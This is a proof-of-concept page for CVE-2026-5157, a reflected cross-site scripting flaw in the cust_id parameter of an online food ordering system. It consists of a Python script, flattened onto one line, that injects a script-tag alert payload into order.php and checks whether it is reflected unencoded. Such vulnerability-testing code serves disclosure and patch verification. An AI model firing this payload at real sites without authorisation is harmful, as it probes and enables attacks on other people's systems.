CVE-2026-5157: Online Food Ordering System XSS漏洞

# PoC for CVE-2026-5157 import requests def check_xss_vulnerability(target_url): """ This script checks for the XSS vulnerability in cust_id parameter. """ # The vulnerable endpoint full_url = f"{target_url}/form/order.php" # Malicious payload to test script execution # Using a simple alert script to verify the vulnerability payload = "<script>alert('CVE-2026-5157_XSS_Test');</script>" parameters = { "cust_id": payload } try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, params=parameters, timeout=10) # Check if the payload is reflected in the response without proper encoding if payload in response.text: print("[!] Vulnerability Confirmed: The payload was reflected unfiltered in the response.") print("[!] Potential for Cross-Site Scripting (XSS).") else: print("[-] Vulnerability not detected or payload might be encoded.") except requests.exceptions.RequestException as e: print(f"[Error] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target IP or domain target = "http://127.0.0.1" check_xss_vulnerability(target)